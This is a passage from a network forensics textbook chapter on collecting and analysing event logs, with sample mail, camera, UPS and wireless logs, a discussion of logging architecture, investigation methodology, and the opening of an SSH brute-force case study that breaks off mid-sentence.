23 15:23:17 bigserver postfix/anvil[26163]: statistics: max cache size 1
at Sep 23 15:19:55

23 15:19:57 bigserver postfix/smtpd[26160]: disconnect from unknown

[201.250.45.83]

Below is a snippet of the mail server’s error log, which contains error messages generated
by the Postfix service. These include records caused by mistakes in the local “mail” command
usage, permission errors, and more.

20 21:53:09 bigserver postfix/sendmail[10815]: fatal: usage: sendmail [
options]

20 22:27:48 bigserver postfix/sendmail [10961]: fatal: Recipient addresses
must be specified on the command line or via the -t option

20 22:27:48 bigserver postfix/sendmail [10963]: fatal: Recipient addresses
must be specified on the command line or via the -t option

20 22:28:29 bigserver postfix/sendmail [10979]: fatal: Recipient addresses
must be specified on the command line or via the -t option

22 13:04:31 bigserver postfix/sendmail [24424]: fatal: usage: sendmail [
options]

22 15:32:07 bigserver postfix/postmap[25785]: fatal: open database /etc/
postfix/generic.db: Permission denied

22 15:55:40 bigserver postfix/postmap[26209]: fatal: open database /etc/

postfix/virtual.db: Permission denied

22 17:01:33 bigserver postfix[27072]: error: to submit mail, use the
Postfix sendmail command
22 17:01:33 bigserver postfix[27072]: fatal: the postfix command is

reserved for the superuser

8.1.3 Physical Device Logs

Many types of physical devices can be connected to the network for the purposes of moni-
toring, logging, and/or control. Devices include:

Cameras

Access control systems, such as RFID readers on doors
HVAC systems

Uninterruptible power supplies (UPSs)

Intensive care units at hospitals
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e Electrical systems

e Laundry machines?!

e Bathrooms?2

Laundry Event Logging

As the Internet emerged in the mid-1990s, a student at MIT, Philip Lisiecki, got tired of
having to walk all the way to the basement of his dormitory in order to check to see if
a laundry machine was available. He decided to use photoresistors to monitor the laundry
machines’ indicator lights, and then rigged up the system to send data across the dormitory’s
old phone wiring.

“Once it was all running, everyone liked it.” Mr. Lisiecki commented. “I could tell people
used it since every time I turned my machine off for a half hour, someone with a laundry
basket would wander by my room to find out what was wrong.” 23

Ultimately, laundry events were collected on a central server, laundry.mit.edu, and ac-
cessible over the World Wide Web. In 1999, the university newspaper ran a story on the
system with the following report:

Shortly after the laundry server was created, housemaster Nina Davis-Millis, an
MIT information technology librarian, suggested that it be included in a New
York Public Library exhibit on innovative uses of the Internet. Her friend, who
was organizing the exhibit, included it in a proposal for the exhibit.

“Her superiors were heartily displeased with her,” said Ms. Davis-Millis. “They
told her that she was too gullible, that she apparently was not familiar with the
noble MIT tradition of hacking, but that it ought to have been obvious to her
that hooking washers and dryers to the Internet was impossible.” Thus, on the
grounds that it couldn’t be done, Random Hall’s Internet laundry connection
was not included in the NYPL Internet exhibit.

To which Mr. Lisiecki replies, “They seem to have a fundamental misunderstand-
ing of the Internet: nothing is too trivial.” 24

8.1.3.1 Example—Camera Logs

Below is an example of surveillance logs for an Axis camera system, generated by Zone-
minder, an open-source, Linux-based “video camera security and surveillance solution”
(http://www.zoneminder.com). The log sample below was kindly provided by Dr. Johannes
Ullrich of the SANS Institute, who explained that the software “compares images and sends
the alerts whenever the image comparison shows motion in the field of view.”

21. Kevin Der, “Laundry Monitoring to Go Online for All Dormitories,” The Tech, March 7, 2006,
http://tech.mit.edu/V126 /N9 /9laundrytext.html.

22. Riad Wahby, “Random Hall Bathroom Server,” 2001, http://bathroom.mit.edu/.

23. Robert J. Sales, “Random Hall residents monitor one of MIT’s most-washed web sites—MIT News
Office,” April 14, 1999, http://web.mit.edu/newsoffice/1999 /laundry-0414.html.

24. Ibid.


http://www.zoneminder.com
http://tech.mit.edu/V126/N9/9laundrytext.html
http://bathroom.mit.edu/
http://web.mit.edu/newsoffice/1999/laundry-0414.html
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Feb 27 04:04:49 enterpriseb zma_m7[5628]: INF [frontaxis: 86496 - Gone into
alarm state]

Feb 27 04:04:50 enterpriseb zma_m7[5628]: INF [frontaxis: 86498 - Gone into
alert state]

Feb 27 04:04:50 enterpriseb zma_m7[56628]: INF [frontaxis: 86499 - Gone back
into alarm statel

Feb 27 04:04:50 enterpriseb zma_m3[5648]: INF [AxisPTZ: 91951 - Gone into
alarm state]

Feb 27 04:04:51 enterpriseb zma_m3[5648]: INF [AxisPTZ: 91952 - Gone into
alert statel

Feb 27 04:04:51 enterpriseb zma_m7[5628]: INF [frontaxis: 86501 - Gone into
alert statel

Feb 27 04:05:23 enterpriseb zma_m3[5648]: INF [AxisPTZ: 91986 - Gone into
alarm state]

Feb 27 04:05:24 enterpriseb zma_m7 [5628]: INF [frontaxis: 86535 - Gone into
alarm state]

Feb 27 04:05:25 enterpriseb zma_m7[5628]: INF [frontaxis: 86536 - Gone into
alert state]

Feb 27 04:05:25 enterpriseb zma_m3[5648]: INF [AxisPTZ: 91992 - Gone into
alert state]

8.1.3.2 Example—Uninterruptible Power Supply Logs

Since power failures can have catastrophic impacts on network availability, network
administrators naturally want to control and monitor UPS systems remotely. Apcupsd is a
mature, open-source package for controlling and monitoring APC-brand UPS systems. 2’ It
is supported on a wide variety of platforms, including UNIX and Linux-based systems, as
well as most popular versions of Microsoft Windows. 2%

Below is an example of UPS logs generated by apcupsd. Many thanks to Dr. Johannes
Ullrich for providing these sample logs.

Feb 13 03:26:22 enterpriseb apcupsd[2704]: Power failure.

Feb 13 03:26:25 enterpriseb apcupsd[2704]: Power is back. UPS running on
mains.

Feb 2 13:52:09 enterpriseb apcupsd[2704]: Communications with UPS lost.

Feb 2 13:52:16 enterpriseb apcupsd[2704]: Communications with UPS restored.

Jan 29 23:30:28 enterpriseb apcupsd[2704]: Power failure.

Jan 29 23:30:31 enterpriseb apcupsd[2704]: Power is back. UPS running on
mains.

Jan 13 09:08:51 enterpriseb apcupsd[2704]: Power failure.

Jan 13 09:08:55 enterpriseb apcupsd[2704]: Power is back. UPS running on
mains.

Dec 30 17:16:32 enterpriseb apcupsd[2704]: Power failure.

Dec 30 17:16:35 enterpriseb apcupsd[2704]: Power is back. UPS running on
mains.

25. “APC Product Information for Uninterruptible Power Supply (UPS),” 2011, http://www.apc.com/
products/category.cfm?id=13.

26. Adam Kropelin and Kern Sibbald, “APCUPSD User Manual,” APC UPS Daemon, January 16, 2010,
http://www.apcupsd.com/manual /manual.html.


http://www.apc.com/products/category.cfm?id=13
http://www.apc.com/products/category.cfm?id=13
http://www.apcupsd.com/manual/manual.html
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8.1.4 Network Equipment Logs

Enterprise-class network equipment can generate extensive event logs. Often these logs are
designed to be sent to a remote server via syslog or SNMP because the network devices
themselves have very limited storage capacity.

Network equipment can include, among other things:

Firewalls

Switches

Routers

Wireless access points

8.1.4.1 Example—Apple Airport Extreme Logs

Below is an example of event logs downloaded from an Apple Airport Extreme. Notice that
these logs include association and dissassociation events, authentication logs, and records of
accepted connections. Once again, the logs do not include a year.

Apr 17 13:01:29 Severity:5 Associated with station 00:16:eb:ba:db:01

Apr 17 13:01:29 Severity:5 Disassociated with station 00:16:eb:ba:db:01

Apr 17 13:01:29 Severity:1 WPA handshake failed with STA 00:16:eb:ba:db
:01 likely due to bad password from client

Apr 17 13:01:29 Severity:5 Deauthenticating with station 00:16:eb:ba:db

:01 (reserved 2).

Apr 17 13:01:30 Severity:5 Associated with station 00:16:eb:ba:db:01

Apr 17 13:01:30 Severity:5 Disassociated with station 00:16:eb:ba:db:01

Apr 17 13:01:31 Severity:5 Associated with station 00:16:eb:ba:db:01

Apr 17 13:01:34 Severity:5 Associated with station 00:16:eb:ba:db:01

Apr 17 13:01:34 Severity:5 Installed unicast CCMP key for supplicant
00:16:eb:ba:db:01

Apr 17 13:13:01 Severity:5 Disassociated with station 00:16:cb:08:27:ce

Apr 17 13:13:01 Severity:5 Rotated CCMP group key.

Apr 17 13:40:03 Severity:5 Associated with station 00:16:cb:08:27:ce

Apr 17 13:40:03 Severity:5 Installed unicast CCMP key for supplicant
00:16:cb:08:27:ce

Apr 17 13:40:43 Severity:5 Connection accepted from [fe80::216:cbff:fe08
:27ce’,bridge0]:51161.

Apr 17 13:40:45 Severity:5 Connection accepted from [fe80::216:cbff:fe08
:27ce’,bridge0] :51162.

Apr 17 13:40:45 Severity:5 Connection accepted from [fe80::216:cbff:fe08
:27ce,bridge0]:51163.

Apr 17 13:49:18 Severity:5 Clock synchronized to network time server
time.apple.com (adjusted +0 seconds).

Apr 17 13:57:13 Severity:5 Rotated CCMP group key.

For more details on network equipment logs, please see Chapter 9, “Switches, Routers,
and Firewalls,” and Chapter 6, “Wireless: Network Forensics Unplugged.”
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8.2 Network Log Architecture

The forensic quality of retained logs, and the strategies and methods for obtaining them,
are strongly influenced by the environment’s network log architecture. Disparate logs accu-
mulated on a fleet of systems don’t really help an enterprise security staff understand the
“big picture” of what is happening on the network. Distributed logs also make it difficult
for security staff to audit the past history of security-related events. Even worse for the
investigator, it can become a nightmare to locate and obtain important evidence.

The answer to this problem is to centralize event logging in such a way that all events
of interest are aggregated and can be correlated between multiple sources. It may not
be the case that the target environment is instrumented in such a way, but we’ll discuss
ways that this can be achieved, either by IT staff in advance or on-the-fly to facilitate an
investigation.

8.2.1 Three Types of Logging Architectures

There are essentially three types of log architectures: local, remote decentralized, and
centralized.

8.2.1.1 Local

Logs are collected on individual local hard drives. This is extremely common because it
is the default configuration for most operating systems, applications, physical devices, and
network equipment. However, local log aggregation presents issues for forensic applications,
such as:

e Collecting logs from different systems can be a lot of work. In some cases, log collection
causes modification of the local system under investigation, which is certainly not
desirable.

e Logs stored locally on a compromised or potentially compromised system may be
modified or deleted. Even if there is no evidence to indicate modification, logs stored
on compromised systems cannot be trusted.

e Time skew on disparate local systems is often significant, and can make it very difficult
to correlate logs and create valid timelines.

e Typically, logs stored on local systems are not centrally configured, and the output
formats may vary between systems (or may only include sparse, default log data).

e Only a limited amount of logs may be stored to conserve local disk space.

8.2.1.2 Remote Decentralized

Logs are sent to different remote storage systems throughout the network. Different types
of logs may be stored on different servers. This is commonly seen in environments where
there is decentralized management of I'T resources, such as in universities where individual
departments or labs manage their own small groups of servers.

e Remote storage of logs increases their forensic value. When logs are sent to a remote
system, they are far less likely to be affected by a local system compromise (at the
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very least, they cannot be altered or modified after they are sent, unless the logging
server is compromised as well).

Time skew can be partially mitigated by having the logging servers timestamp incom-
ing logs, although time skew between servers may still be an issue.

Collecting logs from a logging server is usually far less work than collecting logs from
endpoint devices, especially since the logging server is more likely to be under direct
administrative control. That said, collecting logs from different log servers may still
require substantial effort and coordination between teams.

Sending logs to a remote server across the network introduces new challenges. Namely,
reliability is a primary concern. If there is a network outage, logs may be dropped and
lost forever. Security is also a concern; when transmitted in cleartext, as is most com-
mon, an attacker on the local network may be able to intercept, read, and perhaps even
modify logs in transit. These issues can be addressed through the use of protocols that
provide support for reliability such as TCP or RELP and encryption protocols such
as TLS. However, configuring support for security features can be cumbersome, and
network administrators in decentralized environments often do not have the resources
to address these issues.

8.2.1.3 Centralized

Logs are centralized and aggregated on a central log server or a group of synchronized,
centrally managed log servers. For the purposes of network forensics, a centralized logging
infrastructure is typically the most desirable, for the following reasons:

Logs are stored on a remote server, where they are not subject to modification or
deletion in the event of an endpoint device compromise.

Time skew can be addressed by stamping incoming logs as they arrive. Furthermore,
when logging configuration is centralized, endpoint devices can be configured to main-
tain synchronized time and include granular time information in log output (so long
as the endpoint device software supports these features).

Centralized management typically allows for easy access to log data, and also facilitates
on-the-fly configuration changes when needed to support an ongoing investigation.

Issues of reliability and security of logs in transit can be centrally addressed. Network
administrators can configure support for TCP, RELP, TLS, and other security features
in central logging servers and centrally controlled clients.

Aggregated logs can be easily analyzed using centralized log aggregation and analysis
tools. (Please see Section 8.2.3 for details.)

As discussed previously, many network devices do not have sufficient storage capacity to
maintain extensive forensic data. Fortunately, most network devices and conventional servers
can be configured to send logs to a remote server that can aggregate forensic data from many
sources. Central logging servers are simply servers configured to receive and store logs sent
by other systems. They often store logs from many sources, including routers, firewalls,
switches, and other servers. This helps system administrators keep tabs on many systems,
and it enables investigators to find a wealth of data in one place.
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The evidence stored on a central logging server varies greatly, depending on what systems
were sending logs to it. Typically, you will find logs from many servers and workstation oper-
ating systems that were previously sent to the central logging server for storage and analysis.
It is also common to find firewall logs, which include dates, times, source, destination, and
protocols of the packets being logged.

8.2.2 Remote Logging: Common Pitfalls and Strategies

Automated remote logging is generally considered best practice in the log management
industry. However, from a forensic perspective, there are potential pitfalls to keep in mind,
and ways that investigators can compensate.

When event logs are sent across the network to a central server, they are placed at risk
of loss or modification in transit. In addition, forensic investigators must consider issues
such as time skew and confidentiality of the event logs in transit. Here is a brief discussion
of major factors to consider when remote event logging is employed in a network forensic
investigation, including reliability, time skew, confidentiality, and integrity.

8.2.2.1 Reliability

Can logs be lost as they are transmitted across the network? Frequently the answer is “yes.”
For example, clients that rely on the traditional syslog daemon to send logs across the
network must rely on UDP as a transport-layer protocol. UDP is a connectionless protocol
that does not include support for reliable transport. When a syslog message is transmitted
across the network via UDP, if the datagram is dropped in transit, the server will have no
record of it and the client will not know to retransmit. UDP datagrams are also commonly
dropped when the receiving application is overloaded due to a high volume of traffic.

For forensic investigators, reliability of event log communication is an important issue.
With unreliable event logging architectures, it is possible for an attacker to execute a denial-
of-service attack or initiate a network outage in order to prevent critical information from
being logged on a central server. Accidental loss is also a problem. While investigators may
be able to piece together a timeline of events from existing logs, if there is a chance that
critical details are missing, the investigation may fail or the case may fall apart in court.

To address the issue of reliability, offshoots of the syslog daemon have added native
support for transport of syslog messages over TCP. TCP is a connection-oriented protocol
with built-in support for reliability, so if a packet is dropped in transit, the server will notice
a missing sequence number or the client will not receive an acknowledgment of transmission
and will resend.

Although TCP improves reliability at the transport layer, there are still higher-layer
issues. Rainer Gerhards, author of rsyslog, has published a nice article where he discusses how
local buffering of TCP packets on the client system can lead to dropped syslog messages in
the event of a network or server outage.?” To address this issue, he developed the lightweight
RELP,?® which is designed to ensure reliable transfer of syslog messages at a higher layer.

27. Rainer Gerhards, “Rainer’s Blog: On the (un)reliability of plain tcp syslog...,” April 2, 2008,
http://blog.gerhards.net/2008/04 /on-unreliability-of-plain-tcp-syslog.html.

28. Rainer Gerhards, “RELP—The Reliable Event Logging Protocol (Specification),” March 19, 2008,
http://www.librelp.com/relp.html.


http://blog.gerhards.net/2008/04/on-unreliability-of-plain-tcp-syslog.html
http://www.librelp.com/relp.html
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8.2.2.2 Time Skew

Time skew between endpoint systems is one of the biggest challenges for forensic investiga-
tors. It is difficult, if not impossible, to correlate logs between endpoint systems when local
clock times (and therefore event log timestamps) are off. Even when the time skew between
systems can be determined for a specific point in time, the clock on an endpoint system may
have been running slower or faster at different points.

The best way to manage this problem is to synchronize clocks on all systems using NTP
or a similar system. This can prevent problems due to clock skew during subsequent log
analysis. Not all devices support time synchronization, however. Another option is for the
central event logging server to add a timestamp to logs as they arrive. While this can be
useful, it does not take into account network transit time; there is always a delay between
the time that logs are generated on the endpoint system and the time that the logs are
received by a remote logging server.

Logging output formats may not include enough information to properly correlate time-
stamps between different systems. For example, as we have seen, often the year is not
included by default in event logging output. Furthermore, the time zone is also typically
not included by default, which can make it very difficult for investigators to correlate logs
between systems located in geographically dispersed areas. When configuring log output
formats for potential forensic use, make sure to include complete, high-precision timestamps
with time zone information.

8.2.2.3 Confidentiality

You might not expect that maintaining the confidentiality of event logs is important, but
event logs can reveal extensive amounts of information about user habits, system software
and directories, security issues, and more (this is why they are so highly valuable for foren-
sics!). Anyone with access to the LAN (wired or wireless) or a device on the network path
may be able to capture and analyze the traffic. To maintain the confidentiality of event
logs in transit, use a protocol such as TLS/SSL that ensures the data is encrypted as it is
transmitted across the network.

8.2.2.4 Integrity

Ensuring the integrity of event logs in transit is extremely important. By default, most
remote logging utilities do not provide any assurance of integrity. Event logs transmitted
over UDP or TCP without higher-layer encryption may be intercepted and modified in
transit. Even worse, an attacker could inject fake event logs into the network traffic. This is
quite easy to do for many types of remote logging servers, such as traditional syslog servers
listening on a UDP port.

Fortunately, many event logging architectures now support TLS/SSL, either natively or
through the use of tunneling proxies such as stunnel. You can use TLS/SSL to protect the
data in transit and mutually authenticate the server and client event logging systems.

8.2.3 Log Aggregation and Analysis Tools

There are many tools available to facilitate log aggregation on central systems. Log
aggregation tools typically work in a client-server model. Typically, an agent is installed
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on the endpoint system (or, in some cases, a native tool may be able to export logs). A
compatible central logging server is set up to listen on the network and receive logs as they
are transmitted. Often, the central logging server software also includes powerful analysis
capabilities.

Common agents installed on endpoints include:

e Syslog (and derivative) daemons, as previously discussed.

e System iNtrusion Analysis and Reporting Environment (SNARE)?°—An open-source
agent for Windows, Linux, Solaris, and more.

Central aggregation and analysis software includes:

o Splunk3°—Log monitoring, reporting, and search tool.

e System Center Operations Manager (SCOM), formerly Microsoft Operations Manager
(MOM)3!—A monitoring and log aggregation product designed for Windows systems.

e Distributed log Aggregation for Data analysis (DAD)—An open-source log aggregation
and analysis tool released under GPL.3? (Figure 8-2 is a screenshot of the open-source
DAD log analysis tool).

e Cisco’s Monitoring, Analysis and Response System (MARS)33—Security monitoring
for network devices and hosts (including Windows, Linux, and UNIX).

e ArcSight3*—Commercial third-party log management and compliance solutions.

8.2.3.1 Splunk

Splunk is a proprietary, portable, highly extensible log aggregation and analysis tool.
Figure 8-3 shows an example of Splunk. We’ll revisit Splunk several times throughout this
book because it’s inexpensive (free for individual use up to 500 MB/day), versatile, scalable,
and popular.

Splunk has a web-based interface and a database on the back end. It can accept input in
a variety of forms, from reading a flat file to directly receiving syslog data over the network.
Once Splunk has processed the data, you can run searches and reports.3?

29. “Snare—Audit Log and EventLog analysis,” 2011, http://www.intersectalliance.com/projects/index.html.

30. “Splunk | Operational Intelligence, Log Management, Application Management, Security and Compli-
ance,” 2011, http://www.splunk.com.

31. “System Center Operations Manager,” Wikipedia, June 23, 2011, http://en.wikipedia.org/wiki/
Microsoft_Operations_Manager.

32. D. Hoelzer, “DAD,” SourceForge, June 29, 2011, http://sourceforge.net/projects/lassie/.

33. “Cisco Security Monitoring, Analysis, and Response System,” Wikipedia, October 19, 2010, http://
en.wikipedia.org/wiki/Cisco_Security_Monitoring,_Analysis,_and_Response_System.

34. “ArcSight,” Wikipedia, July 14, 2011, http://en.wikipedia.org/wiki/ArcSight.

35. “Splunk | Operational Intelligence, Log Management, Application Management, Security and Compli-
ance,” 2011, http://www.splunk.com.


http://www.intersectalliance.com/projects/index.html
http://www.splunk.com
http://en.wikipedia.org/wiki/Microsoft_Operations_Manager
http://en.wikipedia.org/wiki/Microsoft_Operations_Manager
http://sourceforge.net/projects/lassie/
http://en.wikipedia.org/wiki/Cisco_Security_Monitoring,_Analysis,_and_Response_System
http://en.wikipedia.org/wiki/Cisco_Security_Monitoring,_Analysis,_and_Response_System
http://en.wikipedia.org/wiki/ArcSight
http://www.splunk.com
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Figure 8-2. A screenshot of the DAD open-source log aggregation and analysis tool. Image
courtesy of D. Hoelzer. Reprinted with permission.

8.3 Collecting and Analyzing Evidence

Faied Network Logons 24 |

Since the topic of network forensics relating to event logs is so broad, we’ll use this as an
opportunity to review and reinforce our network forensics methodology, OSCAR.

8.3.1 Obtain Information

When collecting and analyzing event logs, here is some specific information you may need
to obtain:

e Sources of Event Logs Identify sources of event logs that are likely to relate to your
investigation. You can accomplish this by conducting interviews with key personnel,
reviewing network architecture documents, and reading IT policies and procedures
that pertain to the environment under investigation. You will want to answer questions
such as:

— What event logs exist?

— Where are they stored?

36. “dbimage.php (JPEG Image, 640x463 pixels),” http://sourceforge.net/dbimage.php?id=92531.
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Figure 8-3. A simple example showing SSH service authentication logs in Splunk.

— What are my technical options for accessing them?

— Who controls the event logs?

How do we go about getting permission and access to collect them?

How forensically sound are the event logs?

Do the targeted systems have the capacity for additional logging to be configured?

Identify the resources you have available for event log collection, aggre-
gation, and analysis. This includes equipment, communications capacity, time, money,
and staff. For example, if you only have a 1TB hard drive for event log evidence stor-
age, but there are 20TB of logs on the central logging server under investigation, you
will either need to purchase more storage space or select a subset of logs to gather.
Similarly, if you must collect the logs remotely but the network latency is high, this
can limit the amount of data you are able to transfer in the time you have available.
Questions to consider include:

— How much storage space do I have available?
— How much time do I have for collection and analysis?
— What tools, systems, and staff are available for collection and analysis?

Sensitivity For network-based investigations in particular, you have to consider
how the sources of evidence and network itself will be impacted by evidence collec-
tion. Some equipment, such as routers and firewalls, may be under heavy load and
operating close to processor/memory/bandwidth capacity. Retrieving evidence from
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these systems may cause network or equipment slowness or outages, depending on the
chosen method of collection. You will need to answer questions such as:

— How critical are the systems that store the event logs?

Can they be removed from the network?

Can they be powered off?
— Can they be accessed remotely?

— Would copying logs from these systems have a detrimental impact on equipment
or network performance? If so, can we minimize the impact by collecting evidence
at specific times or by scheduling downtime?

8.3.2 Strategize

In most enterprises, there are so many sources of event logs that taking the time to strategize
is crucial. Otherwise, you may find that you run out of time or hard drive space before
you have gathered the most important evidence, or you may overlook a valuable source of
information.

As part of the “strategize” phase, review the information you've obtained, list and pri-
oritize sources of evidence, plan the acquisition, and communicate with your team and
enterprise staff.

8.3.2.1 Review Information

Once you’ve finished obtaining information, take the time to review all the information you
have regarding the investigation. This may include:

e Goals and time frame of the investigation (very important!). It is worth reviewing your
goals regularly during the investigation so that you can maintain perspective and stay
on track.

e Potential sources of evidence.

e Resources available to you, such as hard drives for storing copies of event logs, secure
storage space, staff, forensics workstations, and time.

e Sensitivity of networks and equipment that may be affected.

8.3.2.2 Prioritize Sources of Evidence

Acquiring evidence is expensive—Iliterally. Every byte of data you copy takes time to transfer
and uses up hard drive space. If you're acquiring evidence over a network, copying log files
can use up a large amount of bandwidth and slow down the network. Furthermore, the more
evidence you acquire, the more data you have to sift through later during the analysis phase.

In any organization, there are likely to be an overwhelming number of possible sources of
event logs, including workstations, servers, switches, routers, firewalls, NIDS/NIPS, access
control systems, web proxies, and more. Usually, only a small percentage of these logs contain
evidence relevant to your investigation. In order to use your resources efficiently, review the



314 Chapter 8 Event Log Aggregation, Correlation, and Analysis

list of possible sources of evidence and identify those that are likely to be of the highest
value to you.

Next, consider how much effort is required to obtain each source of evidence. When logs
are centralized, it is usually fairly straightforward to gather copies of them. However, when
logs are distributed on a variety of systems—such as hundreds of workstations or application
servers managed by different departments—then technical or political hurdles can dramat-
ically slow down the process. It is important to take these factors into consideration and
anticipate challenges so that you can plan and budget accordingly.

After you've decided which sources of evidence are the most important, and estimated
the resources required to obtain them, prioritize your evidence collection so that you can
realize the greatest value from your efforts.

8.3.2.3 Plan Acquisition

In order to actually obtain copies of event logs, you will likely need to work with system ad-
ministrators that manage the equipment on which the event logs reside. Before you actually
set foot onsite to acquire the evidence, work with your primary contact to determine who
can best provide you with access to the evidence. Then, plan your method for acquisition.
Will you have physical access to the system, or will you acquire evidence remotely? When
and where will you acquire the evidence? The time of day may be especially important if
the investigation must remain secret, or if the equipment that stores the evidence is under
heavy load at certain hours.

8.3.2.4 Communicate

No investigator is an island. Once you have developed a plan (usually in conjunction with
your investigative team and local contacts), make sure to communicate the final plan to
everyone involved. Agree on a method and times for regular communication and updates,
such as daily emails or weekly conference calls.

8.3.3 Collect Evidence

The method you use for collecting event log evidence will vary depending on the environ-
ment’s event logging architecture, your sources of evidence, and your available resources
(among other factors). Potential methods include physical connection, manual remote con-
nection, central log aggregation, and passive evidence acquisition.

8.3.3.1 Physical Connection

For logs stored locally on endpoint devices, you may choose to create a bit-for-bit forensic
image of the physical storage media (such as a hard drive), and extract event log files directly
from it using traditional hard drive forensic techniques. The benefits of this method are that
you can retain an exact copy of the drive for later presentation in court (if necessary), and
that from a forensics perspective, there are widely accepted standards for the process of
forensic hard drive analysis.

However, if the event logs of interest are stored on more than a few endpoint systems,
it may be simply impractical to invest in the time and equipment necessary to forensically
image multiple drives. Another major drawback is that logs stored locally are at higher risk
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of modification in the event of system compromise, and as a result are often considered less
forensically valuable than logs stored on remote systems.

For logs stored on a central logging server, it is sometimes appropriate to take a bit-for-
bit forensic image of the logging server’s hard drive. Again, this has the benefit of allowing
a forensic copy of the server’s drive to be preserved and presented later. It can also allow
for a very detailed analysis of logging server configuration. Supplemental information such
as precise versions of event logging software can be helpful for later analysis.

Commonly, network forensic investigators simply copy the logfiles off either an endpoint
system or a central logging server using a physical port (i.e., eSATA or USB). This has the
strong advantage of having a relatively low impact on system resources (i.e., copying files
takes far less time, storage space, and I/O than making a bit-for-bit forensic duplicate of
the drive). In addition, the system does not need to be taken offline or powered down in
order to copy files. If you use this method, make sure to capture cryptographic checksums
of the source and destination files to ensure that you have made an accurate duplicate.

Physical collection of event logs is also useful when you want to minimize the network
footprint of the investigation.

8.3.3.2 Manual Remote Connection

You may prefer to collect logs through manual remote examination of endpoint devices using
services such as SSH, RDP, or an administrative web page. The benefits of this method are
that it may enable you to examine systems that are geographically farther away than you
could access otherwise, and it may also enable you to collect logs directly from many more
sources than you could otherwise.

One drawback of manual remote collection is that you will modify the system under
examination simply by accessing it remotely (it is even possible to cause log rollover simply
by logging into the device, if the logging system has reached a preset limitation on storage
space). You will create network activity through the process of manual remote examina-
tion, which can also contribute to network congestion. Make sure you are aware of band-
width and throughput limitations before transferring large quantities of event logs across the
network.

8.3.3.3 Central Log Aggregation

If you are lucky, the event logs are already being sent to a central logging server (or a synchro-
nized group of central logging servers). In this case, you will want to begin by researching
the underlying log collection architecture to ensure that it is forensically sound and will
meet your needs for evidence collection. For example, you should know the transport-layer
protocol in use for log transmission, as well as mechanisms for authentication of logging
client and server and encryption of data in transit, to determine the risk of event log loss or
modification.

You can access the evidence on a central logging server in multiple ways, depending on
how it is set up:

e Console Log onto the central logging server using SSH, RDP, or direct console
connection, depending on the specific configuration. Browse files, copy specific logs for
later analysis, burn them onto a CD, or simply view them.
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e Web interface Many organizations use a log analysis tool such as Splunk, which
facilitates centralized log analysis. Often, these include helpful web interfaces, with
search and report-generating capabilities that can be extremely useful for identifying
suspicious activity and correlating logs.

e Proprietary interface Some logging servers are accessed using proprietary client
software, which provide graphical analysis/report capabilities.

In certain situations, you may choose to take a forensic image of the central logging
server’s hard drive(s). This can be very resource-intensive. See “Physical Collection,” above,
for details.

8.3.3.4 Passive Evidence Acquisition

In some cases, you may want to collect event logs as they are transmitted across the net-
work through passive evidence acquisition techniques (please see Chapter 3, “Evidence
Acquisition,” for details). This is effective in environments where you have access to the
network segments over which the event log data is transmitted, and when the log data is
not encrypted in transit (or in the rare situation where you have the ability to decrypt
the log data in transit). Passive evidence acquisition may be your best option for event log
collection in an environment where the IT staff are either unaware of your investigation or
uncooperative.

8.3.4 Analyze

Strategies for conducting event log analysis are as varied as the sources of event logs them-
selves and the goals of specific investigations. For discussions of event log analysis relating to
specific types of logs, please see Chapter 10, “Web Proxies”; Chapter 9, “Switches, Routers,
and Firewalls”; and Chapter 7, “Network Intrusion Detection and Analysis.”

General techniques include:

e Dirty Values—Searching for specific keywords in logs.

e Filtering—Narrowing down your search space by selecting logs based on time, source/
destination, content, or other factors.

e Activity Patterns—Analyzing logs for patterns of activity and identifying suspicious
activity based on the results.

e Fingerprinting—Creating a catalog of complex patterns and correlating these with
specific activities to facilitate later analysis.

Figure 8-3 shows an example of analysis using Splunk. In this case, we have searched for
all logs containing the word “sshd.” This effectively filters the logs so that they only include
information relating to the SSH remote login service. We can see the results graphically
represented, and can click on any time to view the logs in detail. You can see that there
were seven results for our search at 10:51 AM on Friday, April 17 2009. These logs appear
to be attempts to SSH into the account “student” on the server “ids.” At first the SSH
attempts failed, but at 10:51:33 there was a successful login to “student” from 192.168.1.10.
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Based on these results, our next step might be to examine the patterns of activity
specifically relating to the “student” account on any system. Perhaps the “student” account
was compromised through a password-guessing attack—or perhaps the user had simply
forgotten the password temporarily. We could also examine all logs relating to the “ids”
system to see if there was any further evidence of suspicious behavior.

Analysis tools are not perfect! Notice that Splunk listed a year (2009) in Figure 8-3. How-
ever, there is no year in the original syslog event logs—just a month, day, and time. Analysis
tools can sometimes produce unexpected or incorrect results. Whenever possible, correlate
events using multiple sources of evidence, and confirm findings by checking original evidence.

8.3.5 Report

Event logs are frequently used as the basis for conclusions drawn in reports. Here are a few
good tips for incorporating evidence from event logs into your forensic reports:

e A picture is worth a thousand words. It is always a good idea to include graphical
representations of event log analysis when you have the option. Charts and graphs
generated by Splunk and similar tools can be very powerful.

e Make sure to include detailed information regarding your sources of event logs and
your process for collecting them. Generally this is appropriate for an appendix of the
report or supplemental materials.

e Remember to include information regarding your methodology and the analysis tools
you used. This is especially important because analysis tools are not perfect. The
more widely known and tested your tools, the more likely they are to be accepted in
a courtroom setting.

e Always retain and reference your original sources of evidence so that you can support
your reported findings.

8.4 Conclusion

Event logs are some of the most valuable sources of evidence for forensic investigators,
particularly when they are stored on a secure central server and can be correlated with
multiple log sources. Application servers, firewalls, access control systems, network devices,
and many other types of equipment generate event logs and are often capable of exporting
them to a remote log server for aggregation.

It is important for the forensic investigator to be aware of common pitfalls associated
with event log analysis, including incorrect or incomplete timestamps, questions of reliability
and integrity, and confidentiality. With these in mind, event logs are an important source
of evidence, and can be analyzed with a variety of command-line or visual tools.
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8.5 Case Study: LOne Sh4rk’s Revenge

The Case: Inspired by Mr. X’s successful exploits at the Arctic Nuclear Fusion Research
Facility, LOne Sh4rk decides to try the same strategy against a target of his own: Bob’s Dry
Cleaners! The local franchise destroyed one of his favorite suits last year and he has decided
it is payback time. Plus, they have a lot of credit card numbers.

Meanwhile ... Unfortunately for LOne Shirk, Bob’s Dry Cleaners is on the alert, having
been attacked by unhappy customers before. Security staff notice a sudden burst of failed
login attempts to their SSH server in the DMZ (10.30.30.20), beginning at 18:56:50 on April
27, 2011. They decide to investigate.

Challenge: You are the forensic investigator. Your mission is to:
e Evaluate whether the failed login attempts were indicative of a deliberate attack. If
so, identify the source and the target(s).

e Determine whether any systems were compromised. If so, describe the extent of the
compromise.

Bob’s Dry Cleaners keeps credit card numbers and personal contact information for their
Platinum Dry Cleaning customers (many of whom are executives). They need to make sure
that this credit card data remains secure. If you find evidence of a compromise, provide an
